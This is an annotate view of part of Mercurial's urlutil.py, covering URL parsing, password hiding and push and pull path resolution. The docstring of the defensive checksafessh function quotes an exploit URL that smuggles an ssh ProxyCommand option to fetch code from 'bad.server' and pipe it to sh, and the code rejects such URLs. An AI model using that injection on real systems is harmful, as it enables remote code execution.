ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
355 if not self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
356 return (s, None)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
357 # authinfo[1] is passed to urllib2 password manager, and its
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
358 # URIs must not contain credentials. The host is passed in the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
359 # URIs list because Python < 2.4.3 uses only that to search for
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
360 # a password.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
362
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
363 def isabs(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
364 if self.scheme and self.scheme != b'file':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
365 return True # remote URL
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
366 if hasdriveletter(self.path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
367 return True # absolute for our purposes - can't be joined()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
368 if self.path.startswith(br'\\'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
369 return True # Windows UNC path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
370 if self.path.startswith(b'/'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
371 return True # POSIX-style
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
372 return False
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
373
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
374 def localpath(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
375 # type: () -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
376 if self.scheme == b'file' or self.scheme == b'bundle':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
377 path = self.path or b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
378 # For Windows, we need to promote hosts containing drive
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
379 # letters to paths with drive letters.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
380 if hasdriveletter(self._hostport):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
381 path = self._hostport + b'/' + self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
382 elif (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
383 self.host is not None and self.path and not hasdriveletter(path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
384 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
385 path = b'/' + path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
386 return path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
387 return self._origpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
388
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
389 def islocal(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
390 '''whether localpath will return something that posixfile can open'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
391 return (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
392 not self.scheme
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
393 or self.scheme == b'file'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
394 or self.scheme == b'bundle'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
395 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
396
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
397
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
398 def hasscheme(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
399 # type: (bytes) -> bool
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
400 return bool(url(path).scheme) # cast to help pytype
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
401
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
402
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
403 def hasdriveletter(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
404 # type: (bytes) -> bool
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
406
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
407
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
408 def urllocalpath(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
409 # type: (bytes) -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
410 return url(path, parsequery=False, parsefragment=False).localpath()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
411
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
412
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
413 def checksafessh(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
414 # type: (bytes) -> None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
416
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
417 This is a sanity check for ssh urls. ssh will parse the first item as
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
419 Let's prevent these potentially exploited urls entirely and warn the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
420 user.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
421
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
422 Raises an error.Abort when the url is unsafe.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
423 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
424 path = urlreq.unquote(path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
426 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
428 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
429
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
430
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
431 def hidepassword(u):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
432 # type: (bytes) -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
433 '''hide user credential in a url string'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
434 u = url(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
435 if u.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
436 u.passwd = b'***'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
437 return bytes(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
438
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
439
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
440 def removeauth(u):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
441 # type: (bytes) -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
442 '''remove all authentication information from a url string'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
443 u = url(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
444 u.user = u.passwd = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
445 return bytes(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
446
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
447
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
448 def list_paths(ui, target_path=None):
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
449 """list all the (name, paths) in the passed ui"""
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
450 if target_path is None:
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
451 return sorted(pycompat.iteritems(ui.paths))
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
452 else:
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
453 path = ui.paths.get(target_path)
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
454 if path is None:
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
455 return []
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
456 else:
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
457 return [(target_path, path)]
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
458
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
459
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
460 def try_path(ui, url):
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
461 """try to build a path from a url
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
462
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
463 Return None if no Path could built.
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
464 """
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
465 try:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
466 # we pass the ui instance are warning might need to be issued
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
467 return path(ui, None, rawloc=url)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
468 except ValueError:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
469 return None
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
470
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
471
46909
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
472 def get_push_paths(repo, ui, dests):
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
473 """yields all the `path` selected as push destination by `dests`"""
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
474 if not dests:
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
475 if b'default-push' in ui.paths:
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
476 yield ui.paths[b'default-push']
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
477 elif b'default' in ui.paths:
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
478 yield ui.paths[b'default']
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
479 else:
46917
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
480 raise error.ConfigError(
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
481 _(b'default repository not configured!'),
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
482 hint=_(b"see 'hg help config.paths'"),
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
483 )
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
484 else:
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
485 for dest in dests:
47028
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
486 if dest in ui.paths:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
487 yield ui.paths[dest]
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
488 else:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
489 path = try_path(ui, dest)
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
490 if path is None:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
491 msg = _(b'repository %s does not exist')
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
492 msg %= dest
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
493 raise error.RepoError(msg)
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
494 yield path
46909
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
495
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
496
46910
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
497 def get_pull_paths(repo, ui, sources, default_branches=()):
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
498 """yields all the `(path, branch)` selected as pull source by `sources`"""
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
499 if not sources:
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
500 sources = [b'default']
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
501 for source in sources:
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
502 if source in ui.paths:
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
503 url = ui.paths[source].rawloc
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
504 else:
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
505 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
506 path = try_path(ui, source)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
507 if path is not None:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
508 url = path.rawloc
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
509 else:
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
510 url = source
46910
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
511 yield parseurl(url, default_branches)
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
512
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
513
46940
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
514 def get_unique_push_path(action, repo, ui, dest=None):
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
515 """return a unique `path` or abort if multiple are found
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
516
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
517 This is useful for command and action that does not support multiple
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
518 destination (yet).
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
519
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
520 Note that for now, we cannot get multiple destination so this function is "trivial".
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
521
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
522 The `action` parameter will be used for the error message.
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
523 """
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
524 if dest is None:
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
525 dests = []
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
526 else:
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
527 dests = [dest]
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
528 dests = list(get_push_paths(repo, ui, dests))
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
529 assert len(dests) == 1
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
530 return dests[0]
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
531
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
532
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
533 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
534 """return a unique `(path, branch)` or abort if multiple are found
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
535
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
536 This is useful for command and action that does not support multiple
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
537 destination (yet).
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
